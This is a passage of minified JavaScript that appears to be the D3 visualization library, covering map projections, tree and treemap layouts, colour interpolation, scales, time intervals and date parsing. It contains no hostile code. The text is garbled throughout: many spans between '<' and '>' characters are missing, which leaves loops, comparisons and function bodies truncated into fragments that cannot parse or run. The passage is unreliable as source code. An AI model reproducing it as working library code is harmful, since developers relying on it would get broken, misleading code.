arguments.length?(c=+t[0],u=+t[1],v()):[c,u]},b.angle=function(n){return arguments.length?(e=Sc(f=n%360*vc),t=kc(f),v()):f*mc},b.reflectX=function(t){return arguments.length?(l=t?-1:1,v()):l<0},b.reflectY=function(t){return arguments.length?(h=t?-1:1,v()):h<0},b.fitExtent=function(t,e){return uf(b,t,e)},b.fitSize=function(t,e){return lf(b,t,e)},b.fitWidth=function(t,e){return hf(b,t,e)},b.fitHeight=function(t,e){return ff(b,t,e)},b};function Kf(t,e){var n=e*e,r=n*n;return[t*(.8707-.131979*n+r*(r*(.003971*n-.001529*r)-.013791)),e*(1.007226+n*(.015085+r*(.028874*n-.044475-.005916*r)))]}Kf.invert=function(t,e){var n,r=e,i=25;do{var a=r*r,o=a*a;r-=n=(r*(1.007226+a*(.015085+o*(.028874*a-.044475-.005916*o)))-e)/(1.007226+a*(.045255+o*(.259866*a-.311325-.005916*11*o)))}while(bc(n)>1e-6&&--i>0);return[t/(.8707+(a=r*r)*(a*(a*a*a*(.003971-.001529*a)-.013791)-.131979)),r]};var Qf=function(){return vf(Kf).scale(175.295)};function Jf(t,e){return[kc(e)*Sc(t),Sc(e)]}Jf.invert=Cf(Bc);var td=function(){return vf(Jf).scale(249.5).clipAngle(90.000001)};function ed(t,e){var n=kc(e),r=1+kc(t)*n;return[n*Sc(t)/r,Sc(e)/r]}ed.invert=Cf((function(t){return 2*xc(t)}));var nd=function(){return vf(ed).scale(250).clipAngle(142)};function rd(t,e){return[Ec(Oc((pc+e)/2)),-t]}rd.invert=function(t,e){return[-e,2*xc(Tc(t))-pc]};var id=function(){var t=Df(rd),e=t.center,n=t.rotate;return t.center=function(t){return arguments.length?e([-t[1],t[0]]):[(t=e())[1],-t[0]]},t.rotate=function(t){return arguments.length?n([t[0],t[1],t.length>2?t[2]+90:90]):[(t=n())[0],t[1],t[2]-90]},n([0,0,90]).scale(159.155)};function ad(t,e){return t.parent===e.parent?1:2}function od(t,e){return t+e.x}function sd(t,e){return Math.max(t,e.y)}var cd=function(){var t=ad,e=1,n=1,r=!1;function i(i){var a,o=0;i.eachAfter((function(e){var n=e.children;n?(e.x=function(t){return t.reduce(od,0)/t.length}(n),e.y=function(t){return 1+t.reduce(sd,0)}(n)):(e.x=a?o+=t(e,a):0,e.y=0,a=e)}));var s=function(t){for(var e;e=t.children;)t=e[0];return t}(i),c=function(t){for(var e;e=t.children;)t=e[e.length-1];return t}(i),u=s.x-t(s,c)/2,l=c.x+t(c,s)/2;return i.eachAfter(r?function(t){t.x=(t.x-i.x)*e,t.y=(i.y-t.y)*n}:function(t){t.x=(t.x-u)/(l-u)*e,t.y=(1-(i.y?t.y/i.y:1))*n})}return i.separation=function(e){return arguments.length?(t=e,i):t},i.size=function(t){return arguments.length?(r=!1,e=+t[0],n=+t[1],i):r?null:[e,n]},i.nodeSize=function(t){return arguments.length?(r=!0,e=+t[0],n=+t[1],i):r?[e,n]:null},i};function ud(t){var e=0,n=t.children,r=n&&n.length;if(r)for(;--r>=0;)e+=n[r].value;else e=1;t.value=e}function ld(t,e){var n,r,i,a,o,s=new pd(t),c=+t.value&&(s.value=t.value),u=[s];for(null==e&&(e=hd);n=u.pop();)if(c&&(n.value=+n.data.value),(i=e(n.data))&&(o=i.length))for(n.children=new Array(o),a=o-1;a>=0;--a)u.push(r=n.children[a]=new pd(i[a])),r.parent=n,r.depth=n.depth+1;return s.eachBefore(dd)}function hd(t){return t.children}function fd(t){t.data=t.data.data}function dd(t){var e=0;do{t.height=e}while((t=t.parent)&&t.height<++e)}function pd(t){this.data=t,this.depth=this.height=0,this.parent=null}pd.prototype=ld.prototype={constructor:pd,count:function(){return this.eachAfter(ud)},each:function(t){var e,n,r,i,a=this,o=[a];do{for(e=o.reverse(),o=[];a=e.pop();)if(t(a),n=a.children)for(r=0,i=n.length;r=0;--n)i.push(e[n]);return this},sum:function(t){return this.eachAfter((function(e){for(var n=+t(e.data)||0,r=e.children,i=r&&r.length;--i>=0;)n+=r[i].value;e.value=n}))},sort:function(t){return this.eachBefore((function(e){e.children&&e.children.sort(t)}))},path:function(t){for(var e=this,n=function(t,e){if(t===e)return t;var n=t.ancestors(),r=e.ancestors(),i=null;t=n.pop(),e=r.pop();for(;t===e;)i=t,t=n.pop(),e=r.pop();return i}(e,t),r=[e];e!==n;)e=e.parent,r.push(e);for(var i=r.length;t!==n;)r.splice(i,0,t),t=t.parent;return r},ancestors:function(){for(var t=this,e=[t];t=t.parent;)e.push(t);return e},descendants:function(){var t=[];return this.each((function(e){t.push(e)})),t},leaves:function(){var t=[];return this.eachBefore((function(e){e.children||t.push(e)})),t},links:function(){var t=this,e=[];return t.each((function(n){n!==t&&e.push({source:n.parent,target:n})})),e},copy:function(){return ld(this).eachBefore(fd)}};var yd=Array.prototype.slice;var gd=function(t){for(var e,n,r=0,i=(t=function(t){for(var e,n,r=t.length;r;)n=Math.random()*r--|0,e=t[r],t[r]=t[n],t[n]=e;return t}(yd.call(t))).length,a=[];r0&&n*n>r*r+i*i}function xd(t,e){for(var n=0;n(o*=o)?(r=(u+o-i)/(2*u),a=Math.sqrt(Math.max(0,o/u-r*r)),n.x=t.x-r*s-a*c,n.y=t.y-r*c+a*s):(r=(u+i-o)/(2*u),a=Math.sqrt(Math.max(0,i/u-r*r)),n.x=e.x+r*s-a*c,n.y=e.y+r*c+a*s)):(n.x=e.x+n.r,n.y=e.y)}function Ed(t,e){var n=t.r+e.r-1e-6,r=e.x-t.x,i=e.y-t.y;return n>0&&n*n>r*r+i*i}function Cd(t){var e=t._,n=t.next._,r=e.r+n.r,i=(e.x*n.r+n.x*e.r)/r,a=(e.y*n.r+n.y*e.r)/r;return i*i+a*a}function Sd(t){this._=t,this.next=null,this.previous=null}function Ad(t){if(!(i=t.length))return 0;var e,n,r,i,a,o,s,c,u,l,h;if((e=t[0]).x=0,e.y=0,!(i>1))return e.r;if(n=t[1],e.x=-n.r,n.x=e.r,n.y=0,!(i>2))return e.r+n.r;Td(n,e,r=t[2]),e=new Sd(e),n=new Sd(n),r=new Sd(r),e.next=r.previous=n,n.next=e.previous=r,r.next=n.previous=e;t:for(s=3;s0)throw new Error("cycle");return a}return n.id=function(e){return arguments.length?(t=Nd(e),n):t},n.parentId=function(t){return arguments.length?(e=Nd(t),n):e},n};function Vd(t,e){return t.parent===e.parent?1:2}function Gd(t){var e=t.children;return e?e[0]:t.t}function Xd(t){var e=t.children;return e?e[e.length-1]:t.t}function Zd(t,e,n){var r=n/(e.i-t.i);e.c-=r,e.s+=n,t.c+=r,e.z+=n,e.m+=n}function Kd(t,e,n){return t.a.parent===e.parent?t.a:n}function Qd(t,e){this._=t,this.parent=null,this.children=null,this.A=null,this.a=this,this.z=0,this.m=0,this.c=0,this.s=0,this.t=null,this.i=e}Qd.prototype=Object.create(pd.prototype);var Jd=function(){var t=Vd,e=1,n=1,r=null;function i(i){var c=function(t){for(var e,n,r,i,a,o=new Qd(t,0),s=[o];e=s.pop();)if(r=e._.children)for(e.children=new Array(a=r.length),i=a-1;i>=0;--i)s.push(n=e.children[i]=new Qd(r[i],i)),n.parent=e;return(o.parent=new Qd(null,0)).children=[o],o}(i);if(c.eachAfter(a),c.parent.m=-c.z,c.eachBefore(o),r)i.eachBefore(s);else{var u=i,l=i,h=i;i.eachBefore((function(t){t.xl.x&&(l=t),t.depth>h.depth&&(h=t)}));var f=u===l?1:t(u,l)/2,d=f-u.x,p=e/(l.x+f+d),y=n/(h.depth||1);i.eachBefore((function(t){t.x=(t.x+d)*p,t.y=t.depth*y}))}return i}function a(e){var n=e.children,r=e.parent.children,i=e.i?r[e.i-1]:null;if(n){!function(t){for(var e,n=0,r=0,i=t.children,a=i.length;--a>=0;)(e=i[a]).z+=n,e.m+=n,n+=e.s+(r+=e.c)}(e);var a=(n[0].z+n[n.length-1].z)/2;i?(e.z=i.z+t(e._,i._),e.m=e.z-a):e.z=a}else i&&(e.z=i.z+t(e._,i._));e.parent.A=function(e,n,r){if(n){for(var i,a=e,o=e,s=n,c=a.parent.children[0],u=a.m,l=o.m,h=s.m,f=c.m;s=Xd(s),a=Gd(a),s&&a;)c=Gd(c),(o=Xd(o)).a=e,(i=s.z+h-a.z-u+t(s._,a._))>0&&(Zd(Kd(s,e,r),e,i),u+=i,l+=i),h+=s.m,u+=a.m,f+=c.m,l+=o.m;s&&!Xd(o)&&(o.t=s,o.m+=h-l),a&&!Gd(c)&&(c.t=a,c.m+=u-f,r=e)}return r}(e,i,e.parent.A||r[0])}function o(t){t._.x=t.z+t.parent.m,t.m+=t.parent.m}function s(t){t.x*=e,t.y=t.depth*n}return i.separation=function(e){return arguments.length?(t=e,i):t},i.size=function(t){return arguments.length?(r=!1,e=+t[0],n=+t[1],i):r?null:[e,n]},i.nodeSize=function(t){return arguments.length?(r=!0,e=+t[0],n=+t[1],i):r?[e,n]:null},i},tp=function(t,e,n,r,i){for(var a,o=t.children,s=-1,c=o.length,u=t.value&&(i-n)/t.value;++sf&&(f=s),g=l*l*y,(d=Math.max(f/g,g/h))>p){l-=s;break}p=d}m.push(o={value:l,dice:c1?e:1)},n}(ep),ip=function(){var t=rp,e=!1,n=1,r=1,i=[0],a=Bd,o=Bd,s=Bd,c=Bd,u=Bd;function l(t){return t.x0=t.y0=0,t.x1=n,t.y1=r,t.eachBefore(h),i=[0],e&&t.eachBefore(jd),t}function h(e){var n=i[e.depth],r=e.x0+n,l=e.y0+n,h=e.x1-n,f=e.y1-n;h=n-1){var l=s[e];return l.x0=i,l.y0=a,l.x1=o,void(l.y1=c)}var h=u[e],f=r/2+h,d=e+1,p=n-1;for(;d>>1;u[y]c-a){var v=(i*m+o*g)/r;t(e,d,g,i,a,v,c),t(d,n,m,v,a,o,c)}else{var b=(a*m+c*g)/r;t(e,d,g,i,a,o,b),t(d,n,m,i,b,o,c)}}(0,c,t.value,e,n,r,i)},op=function(t,e,n,r,i){(1&t.depth?tp:Yd)(t,e,n,r,i)},sp=function t(e){function n(t,n,r,i,a){if((o=t._squarify)&&o.ratio===e)for(var o,s,c,u,l,h=-1,f=o.length,d=t.value;++h1?e:1)},n}(ep),cp=function(t){var e=t.length;return function(n){return t[Math.max(0,Math.min(e-1,Math.floor(n*e)))]}},up=function(t,e){var n=ln(+t,+e);return function(t){var e=n(t);return e-360*Math.floor(e/360)}},lp=function(t,e){return t=+t,e=+e,function(n){return Math.round(t*(1-n)+e*n)}},hp=Math.SQRT2;function fp(t){return((t=Math.exp(t))+1/t)/2}var dp=function(t,e){var n,r,i=t[0],a=t[1],o=t[2],s=e[0],c=e[1],u=e[2],l=s-i,h=c-a,f=l*l+h*h;if(f<1e-12)r=Math.log(u/o)/hp,n=function(t){return[i+t*l,a+t*h,o*Math.exp(hp*t*r)]};else{var d=Math.sqrt(f),p=(u*u-o*o+4*f)/(2*o*2*d),y=(u*u-o*o-4*f)/(2*u*2*d),g=Math.log(Math.sqrt(p*p+1)-p),m=Math.log(Math.sqrt(y*y+1)-y);r=(m-g)/hp,n=function(t){var e,n=t*r,s=fp(g),c=o/(2*d)*(s*(e=hp*n+g,((e=Math.exp(2*e))-1)/(e+1))-function(t){return((t=Math.exp(t))-1/t)/2}(g));return[i+c*l,a+c*h,o*s/fp(hp*n+g)]}}return n.duration=1e3*r,n};function pp(t){return function(e,n){var r=t((e=en(e)).h,(n=en(n)).h),i=fn(e.s,n.s),a=fn(e.l,n.l),o=fn(e.opacity,n.opacity);return function(t){return e.h=r(t),e.s=i(t),e.l=a(t),e.opacity=o(t),e+""}}}var yp=pp(ln),gp=pp(fn);function mp(t,e){var n=fn((t=ya(t)).l,(e=ya(e)).l),r=fn(t.a,e.a),i=fn(t.b,e.b),a=fn(t.opacity,e.opacity);return function(e){return t.l=n(e),t.a=r(e),t.b=i(e),t.opacity=a(e),t+""}}function vp(t){return function(e,n){var r=t((e=wa(e)).h,(n=wa(n)).h),i=fn(e.c,n.c),a=fn(e.l,n.l),o=fn(e.opacity,n.opacity);return function(t){return e.h=r(t),e.c=i(t),e.l=a(t),e.opacity=o(t),e+""}}}var bp=vp(ln),xp=vp(fn);function _p(t){return function e(n){function r(e,r){var i=t((e=Na(e)).h,(r=Na(r)).h),a=fn(e.s,r.s),o=fn(e.l,r.l),s=fn(e.opacity,r.opacity);return function(t){return e.h=i(t),e.s=a(t),e.l=o(Math.pow(t,n)),e.opacity=s(t),e+""}}return n=+n,r.gamma=e,r}(1)}var kp=_p(ln),wp=_p(fn);function Tp(t,e){for(var n=0,r=e.length-1,i=e[0],a=new Array(r<0?0:r);n1&&(e=t[a[o-2]],n=t[a[o-1]],r=t[s],(n[0]-e[0])*(r[1]-e[1])-(n[1]-e[1])*(r[0]-e[0])<=0);)--o;a[o++]=s}return a.slice(0,o)}var Op=function(t){if((n=t.length)<3)return null;var e,n,r=new Array(n),i=new Array(n);for(e=0;e=0;--e)u.push(t[r[a[e]][2]]);for(e=+s;es!=u>s&&o<(c-n)*(s-r)/(u-r)+n&&(l=!l),c=n,u=r;return l},Bp=function(t){for(var e,n,r=-1,i=t.length,a=t[i-1],o=a[0],s=a[1],c=0;++r1);return t+n*a*Math.sqrt(-2*Math.log(i)/i)}}return n.source=t,n}(Dp),Rp=function t(e){function n(){var t=Ip.source(e).apply(this,arguments);return function(){return Math.exp(t())}}return n.source=t,n}(Dp),Fp=function t(e){function n(t){return function(){for(var n=0,r=0;rr&&(e=n,n=r,r=e),function(t){return Math.max(n,Math.min(r,t))}}function ey(t,e,n){var r=t[0],i=t[1],a=e[0],o=e[1];return i2?ny:ey,i=a=null,h}function h(e){return isNaN(e=+e)?n:(i||(i=r(o.map(t),s,c)))(t(u(e)))}return h.invert=function(n){return u(e((a||(a=r(s,o.map(t),kn)))(n)))},h.domain=function(t){return arguments.length?(o=$p.call(t,Zp),u===Qp||(u=ty(o)),l()):o.slice()},h.range=function(t){return arguments.length?(s=qp.call(t),l()):s.slice()},h.rangeRound=function(t){return s=qp.call(t),c=lp,l()},h.clamp=function(t){return arguments.length?(u=t?ty(o):Qp,h):u!==Qp},h.interpolate=function(t){return arguments.length?(c=t,l()):c},h.unknown=function(t){return arguments.length?(n=t,h):n},function(n,r){return t=n,e=r,l()}}function ay(t,e){return iy()(t,e)}var oy=function(t,e,n,r){var i,a=M(t,e,n);switch((r=Vs(null==r?",f":r)).type){case"s":var o=Math.max(Math.abs(t),Math.abs(e));return null!=r.precision||isNaN(i=sc(a,o))||(r.precision=i),Qs(r,o);case"":case"e":case"g":case"p":case"r":null!=r.precision||isNaN(i=cc(a,Math.max(Math.abs(t),Math.abs(e))))||(r.precision=i-("e"===r.type));break;case"f":case"%":null!=r.precision||isNaN(i=oc(a))||(r.precision=i-2*("%"===r.type))}return Ks(r)};function sy(t){var e=t.domain;return t.ticks=function(t){var n=e();return S(n[0],n[n.length-1],null==t?10:t)},t.tickFormat=function(t,n){var r=e();return oy(r[0],r[r.length-1],null==t?10:t,n)},t.nice=function(n){null==n&&(n=10);var r,i=e(),a=0,o=i.length-1,s=i[a],c=i[o];return c0?r=A(s=Math.floor(s/r)*r,c=Math.ceil(c/r)*r,n):r<0&&(r=A(s=Math.ceil(s*r)/r,c=Math.floor(c*r)/r,n)),r>0?(i[a]=Math.floor(s/r)*r,i[o]=Math.ceil(c/r)*r,e(i)):r<0&&(i[a]=Math.ceil(s*r)/r,i[o]=Math.floor(c*r)/r,e(i)),t},t}function cy(){var t=ay(Qp,Qp);return t.copy=function(){return ry(t,cy())},Yp.apply(t,arguments),sy(t)}function uy(t){var e;function n(t){return isNaN(t=+t)?e:t}return n.invert=n,n.domain=n.range=function(e){return arguments.length?(t=$p.call(e,Zp),n):t.slice()},n.unknown=function(t){return arguments.length?(e=t,n):e},n.copy=function(){return uy(t).unknown(e)},t=arguments.length?$p.call(t,Zp):[0,1],sy(n)}var ly=function(t,e){var n,r=0,i=(t=t.slice()).length-1,a=t[r],o=t[i];return o0){for(;fc)break;y.push(h)}}else for(;f=1;--l)if(!((h=u*l)c)break;y.push(h)}}else y=S(f,d,Math.min(d-f,p)).map(n);return r?y.reverse():y},r.tickFormat=function(t,i){if(null==i&&(i=10===a?".0e":","),"function"!=typeof i&&(i=Ks(i)),t===1/0)return i;null==t&&(t=10);var o=Math.max(1,a*t/r.ticks().length);return function(t){var r=t/n(Math.round(e(t)));return r*a0?r[i-1]:e[0],i=r?[i[r-1],n]:[i[o-1],i[o]]},o.unknown=function(e){return arguments.length?(t=e,o):o},o.thresholds=function(){return i.slice()},o.copy=function(){return Oy().domain([e,n]).range(a).unknown(t)},Yp.apply(sy(o),arguments)}function Ny(){var t,e=[.5],n=[0,1],r=1;function i(i){return i<=i?n[u(e,i,0,r)]:t}return i.domain=function(t){return arguments.length?(e=qp.call(t),r=Math.min(e.length,n.length-1),i):e.slice()},i.range=function(t){return arguments.length?(n=qp.call(t),r=Math.min(e.length,n.length-1),i):n.slice()},i.invertExtent=function(t){var r=n.indexOf(t);return[e[r-1],e[r]]},i.unknown=function(e){return arguments.length?(t=e,i):t},i.copy=function(){return Ny().domain(e).range(n).unknown(t)},Yp.apply(i,arguments)}var By=new Date,Dy=new Date;function Ly(t,e,n,r){function i(e){return t(e=0===arguments.length?new Date:new Date(+e)),e}return i.floor=function(e){return t(e=new Date(+e)),e},i.ceil=function(n){return t(n=new Date(n-1)),e(n,1),t(n),n},i.round=function(t){var e=i(t),n=i.ceil(t);return t-e0))return s;do{s.push(o=new Date(+n)),e(n,a),t(n)}while(o=e)for(;t(e),!n(e);)e.setTime(e-1)}),(function(t,r){if(t>=t)if(r<0)for(;++r<=0;)for(;e(t,-1),!n(t););else for(;--r>=0;)for(;e(t,1),!n(t););}))},n&&(i.count=function(e,r){return By.setTime(+e),Dy.setTime(+r),t(By),t(Dy),Math.floor(n(By,Dy))},i.every=function(t){return t=Math.floor(t),isFinite(t)&&t>0?t>1?i.filter(r?function(e){return r(e)%t==0}:function(e){return i.count(0,e)%t==0}):i:null}),i}var Iy=Ly((function(t){t.setMonth(0,1),t.setHours(0,0,0,0)}),(function(t,e){t.setFullYear(t.getFullYear()+e)}),(function(t,e){return e.getFullYear()-t.getFullYear()}),(function(t){return t.getFullYear()}));Iy.every=function(t){return isFinite(t=Math.floor(t))&&t>0?Ly((function(e){e.setFullYear(Math.floor(e.getFullYear()/t)*t),e.setMonth(0,1),e.setHours(0,0,0,0)}),(function(e,n){e.setFullYear(e.getFullYear()+n*t)})):null};var Ry=Iy,Fy=Iy.range,Py=Ly((function(t){t.setDate(1),t.setHours(0,0,0,0)}),(function(t,e){t.setMonth(t.getMonth()+e)}),(function(t,e){return e.getMonth()-t.getMonth()+12*(e.getFullYear()-t.getFullYear())}),(function(t){return t.getMonth()})),jy=Py,Yy=Py.range;function zy(t){return Ly((function(e){e.setDate(e.getDate()-(e.getDay()+7-t)%7),e.setHours(0,0,0,0)}),(function(t,e){t.setDate(t.getDate()+7*e)}),(function(t,e){return(e-t-6e4*(e.getTimezoneOffset()-t.getTimezoneOffset()))/6048e5}))}var Uy=zy(0),$y=zy(1),qy=zy(2),Wy=zy(3),Hy=zy(4),Vy=zy(5),Gy=zy(6),Xy=Uy.range,Zy=$y.range,Ky=qy.range,Qy=Wy.range,Jy=Hy.range,tg=Vy.range,eg=Gy.range,ng=Ly((function(t){t.setHours(0,0,0,0)}),(function(t,e){t.setDate(t.getDate()+e)}),(function(t,e){return(e-t-6e4*(e.getTimezoneOffset()-t.getTimezoneOffset()))/864e5}),(function(t){return t.getDate()-1})),rg=ng,ig=ng.range,ag=Ly((function(t){t.setTime(t-t.getMilliseconds()-1e3*t.getSeconds()-6e4*t.getMinutes())}),(function(t,e){t.setTime(+t+36e5*e)}),(function(t,e){return(e-t)/36e5}),(function(t){return t.getHours()})),og=ag,sg=ag.range,cg=Ly((function(t){t.setTime(t-t.getMilliseconds()-1e3*t.getSeconds())}),(function(t,e){t.setTime(+t+6e4*e)}),(function(t,e){return(e-t)/6e4}),(function(t){return t.getMinutes()})),ug=cg,lg=cg.range,hg=Ly((function(t){t.setTime(t-t.getMilliseconds())}),(function(t,e){t.setTime(+t+1e3*e)}),(function(t,e){return(e-t)/1e3}),(function(t){return t.getUTCSeconds()})),fg=hg,dg=hg.range,pg=Ly((function(){}),(function(t,e){t.setTime(+t+e)}),(function(t,e){return e-t}));pg.every=function(t){return t=Math.floor(t),isFinite(t)&&t>0?t>1?Ly((function(e){e.setTime(Math.floor(e/t)*t)}),(function(e,n){e.setTime(+e+n*t)}),(function(e,n){return(n-e)/t})):pg:null};var yg=pg,gg=pg.range;function mg(t){return Ly((function(e){e.setUTCDate(e.getUTCDate()-(e.getUTCDay()+7-t)%7),e.setUTCHours(0,0,0,0)}),(function(t,e){t.setUTCDate(t.getUTCDate()+7*e)}),(function(t,e){return(e-t)/6048e5}))}var vg=mg(0),bg=mg(1),xg=mg(2),_g=mg(3),kg=mg(4),wg=mg(5),Tg=mg(6),Eg=vg.range,Cg=bg.range,Sg=xg.range,Ag=_g.range,Mg=kg.range,Og=wg.range,Ng=Tg.range,Bg=Ly((function(t){t.setUTCHours(0,0,0,0)}),(function(t,e){t.setUTCDate(t.getUTCDate()+e)}),(function(t,e){return(e-t)/864e5}),(function(t){return t.getUTCDate()-1})),Dg=Bg,Lg=Bg.range,Ig=Ly((function(t){t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)}),(function(t,e){t.setUTCFullYear(t.getUTCFullYear()+e)}),(function(t,e){return e.getUTCFullYear()-t.getUTCFullYear()}),(function(t){return t.getUTCFullYear()}));Ig.every=function(t){return isFinite(t=Math.floor(t))&&t>0?Ly((function(e){e.setUTCFullYear(Math.floor(e.getUTCFullYear()/t)*t),e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)}),(function(e,n){e.setUTCFullYear(e.getUTCFullYear()+n*t)})):null};var Rg=Ig,Fg=Ig.range;function Pg(t){if(0<=t.y&&t.y<100){var e=new Date(-1,t.m,t.d,t.H,t.M,t.S,t.L);return e.setFullYear(t.y),e}return new Date(t.y,t.m,t.d,t.H,t.M,t.S,t.L)}function jg(t){if(0<=t.y&&t.y<100){var e=new Date(Date.UTC(-1,t.m,t.d,t.H,t.M,t.S,t.L));return e.setUTCFullYear(t.y),e}return new Date(Date.UTC(t.y,t.m,t.d,t.H,t.M,t.S,t.L))}function Yg(t,e,n){return{y:t,m:e,d:n,H:0,M:0,S:0,L:0}}function zg(t){var e=t.dateTime,n=t.date,r=t.time,i=t.periods,a=t.days,o=t.shortDays,s=t.months,c=t.shortMonths,u=Jg(i),l=tm(i),h=Jg(a),f=tm(a),d=Jg(o),p=tm(o),y=Jg(s),g=tm(s),m=Jg(c),v=tm(c),b={a:function(t){return o[t.getDay()]},A:function(t){return a[t.getDay()]},b:function(t){return c[t.getMonth()]},B:function(t){return s[t.getMonth()]},c:null,d:_m,e:_m,f:Cm,g:Fm,G:jm,H:km,I:wm,j:Tm,L:Em,m:Sm,M:Am,p:function(t){return i[+(t.getHours()>=12)]},q:function(t){return 1+~~(t.getMonth()/3)},Q:cv,s:uv,S:Mm,u:Om,U:Nm,V:Dm,w:Lm,W:Im,x:null,X:null,y:Rm,Y:Pm,Z:Ym,"%":sv},x={a:function(t){return o[t.getUTCDay()]},A:function(t){return a[t.getUTCDay()]},b:function(t){return c[t.getUTCMonth()]},B:function(t){return s[t.getUTCMonth()]},c:null,d:zm,e:zm,f:Hm,g:rv,G:av,H:Um,I:$m,j:qm,L:Wm,m:Vm,M:Gm,p:function(t){return i[+(t.getUTCHours()>=12)]},q:function(t){return 1+~~(t.getUTCMonth()/3)},Q:cv,s:uv,S:Xm,u:Zm,U:Km,V:Jm,w:tv,W:ev,x:null,X:null,y:nv,Y:iv,Z:ov,"%":sv},_={a:function(t,e,n){var r=d.exec(e.slice(n));return r?(t.w=p[r[0].toLowerCase()],n+r[0].length):-1},A:function(t,e,n){var r=h.exec(e.slice(n));return r?(t.w=f[r[0].toLowerCase()],n+r[0].length):-1},b:function(t,e,n){var r=m.exec(e.slice(n));return r?(t.m=v[r[0].toLowerCase()],n+r[0].length):-1},B:function(t,e,n){var r=y.exec(e.slice(n));return r?(t.m=g[r[0].toLowerCase()],n+r[0].length):-1},c:function(t,n,r){return T(t,e,n,r)},d:hm,e:hm,f:mm,g:sm,G:om,H:dm,I:dm,j:fm,L:gm,m:lm,M:pm,p:function(t,e,n){var r=u.exec(e.slice(n));return r?(t.p=l[r[0].toLowerCase()],n+r[0].length):-1},q:um,Q:bm,s:xm,S:ym,u:nm,U:rm,V:im,w:em,W:am,x:function(t,e,r){return T(t,n,e,r)},X:function(t,e,n){return T(t,r,e,n)},y:sm,Y:om,Z:cm,"%":vm};function k(t,e){return function(n){var r,i,a,o=[],s=-1,c=0,u=t.length;for(n instanceof Date||(n=new Date(+n));++s53)return null;"w"in a||(a.w=1),"Z"in a?(i=(r=jg(Yg(a.y,0,1))).getUTCDay(),r=i>4||0===i?bg.ceil(r):bg(r),r=Dg.offset(r,7*(a.V-1)),a.y=r.getUTCFullYear(),a.m=r.getUTCMonth(),a.d=r.getUTCDate()+(a.w+6)%7):(i=(r=Pg(Yg(a.y,0,1))).getDay(),r=i>4||0===i?$y.ceil(r):$y(r),r=rg.offset(r,7*(a.V-1)),a.y=r.getFullYear(),a.m=r.getMonth(),a.d=r.getDate()+(a.w+6)%7)}else("W"in a||"U"in a)&&("w"in a||(a.w="u"in a?a.u%7:"W"in a?1:0),i="Z"in a?jg(Yg(a.y,0,1)).getUTCDay():Pg(Yg(a.y,0,1)).getDay(),a.m=0,a.d="W"in a?(a.w+6)%7+7*a.W-(i+5)%7:a.w+7*a.U-(i+6)%7);return"Z"in a?(a.H+=a.Z/100|0,a.M+=a.Z%100,jg(a)):Pg(a)}}function T(t,e,n,r){for(var i,a,o=0,s=e.length,c=n.length;o=c)return-1;if(37===(i=e.charCodeAt(o++))){if(i=e.charAt(o++),!(a=_[i in Vg?e.charAt(o++):i])||(r=a(t,n,r))<0)return-1}else if(i!=n.charCodeAt(r++))return-1}return r}return b.x=k(n,b),b.X=k(r,b),b.c=k(e,b),x.x=k(n,x),x.X=k(r,x),x.c=k(e,x),{format:function(t){var e=k(t+="",b);return e.toString=function(){return t},e},parse:function(t){var e=w(t+="",!1);return e.toString=function(){return t},e},utcFormat:function(t){var e=k(t+="",x);return e.toString=function(){return t},e},utcParse:function(t){var e=w(t+="",!0);return e.toString=function(){return t},e}}}var Ug,$g,qg,Wg,Hg,Vg={"-":"",_:" ",0:"0"},Gg=/^\s*\d+/,Xg=/^%/,Zg=/[\\^$*+?|[\]().{}]/g;function Kg(t,e,n){var r=t<0?"-":"",i=(r?-t:t)+"",a=i.length;return r+(a68?1900:2e3),n+r[0].length):-1}function cm(t,e,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(e.slice(n,n+6));return r?(t.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function um(t,e,n){var r=Gg.exec(e.slice(n,n+1));return r?(t.q=3*r[0]-3,n+r[0].length):-1}function lm(t,e,n){var r=Gg.exec(e.slice(n,n+2));return r?(t.m=r[0]-1,n+r[0].length):-1}function hm(t,e,n){var r=Gg.exec(e.slice(n,n+2));return r?(t.d=+r[0],n+r[0].length):-1}function fm(t,e,n){var r=Gg.exec(e.slice(n,n+3));return r?(t.m=0,t.d=+r[0],n+r[0].length):-1}function dm(t,e,n){var r=Gg.exec(e.slice(n,n+2));return r?(t.H=+r[0],n+r[0].length):-1}function pm(t,e,n){var r=Gg.exec(e.slice(n,n+2));return r?(t.M=+r[0],n+r[0].length):-1}function ym(t,e,n){var r=Gg.exec(e.slice(n,n+2));return r?(t.S=+r[0],n+r[0].length):-1}function gm(t,e,n){var r=Gg.exec(e.slice(n,n+3));return r?(t.L=+r[0],n+r[0].length):-1}function mm(t,e,n){var r=Gg.exec(e.slice(n,n+6));return r?(t.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function vm(t,e,n){var r=Xg.exec(e.slice(n,n+1));return r?n+r[0].length:-1}function bm(t,e,n){var r=Gg.exec(e.slice(n));return r?(t.Q=+r[0],n+r[0].length):-1}function xm(t,e,n){var r=Gg.exec(e.slice(n));return r?(t.s=+r[0],n+r[0].length):-1}function _m(t,e){return Kg(t.getDate(),e,2)}function km(t,e){return Kg(t.getHours(),e,2)}function wm(t,e){return Kg(t.getHours()%12||12,e,2)}function Tm(t,e){return Kg(1+rg.count(Ry(t),t),e,3)}function Em(t,e){return Kg(t.getMilliseconds(),e,3)}function Cm(t,e){return Em(t,e)+"000"}function Sm(t,e){return Kg(t.getMonth()+1,e,2)}function Am(t,e){return Kg(t.getMinutes(),e,2)}function Mm(t,e){return Kg(t.getSeconds(),e,2)}function Om(t){var e=t.getDay();return 0===e?7:e}function Nm(t,e){return Kg(Uy.count(Ry(t)-1,t),e,2)}function Bm(t){var e=t.getDay();return e>=4||0===e?Hy(t):Hy.ceil(t)}function Dm(t,e){return t=Bm(t),Kg(Hy.count(Ry(t),t)+(4===Ry(t).getDay()),e,2)}function Lm(t){return t.getDay()}function Im(t,e){return Kg($y.count(Ry(t)-1,t),e,2)}function Rm(t,e){return Kg(t.getFullYear()%100,e,2)}function Fm(t,e){return Kg((t=Bm(t)).getFullYear()%100,e,2)}function Pm(t,e){return Kg(t.getFullYear()%1e4,e,4)}function jm(t,e){var n=t.getDay();return Kg((t=n>=4||0===n?Hy(t):Hy.ceil(t)).getFullYear()%1e4,e,4)}function Ym(t){var e=t.getTimezoneOffset();return(e>0?"-":(e*=-1,"+"))+Kg(e/60|0,"0",2)+Kg(e%60,"0",2)}function zm(t,e){return Kg(t.getUTCDate(),e,2)}function Um(t,e){return Kg(t.getUTCHours(),e,2)}function 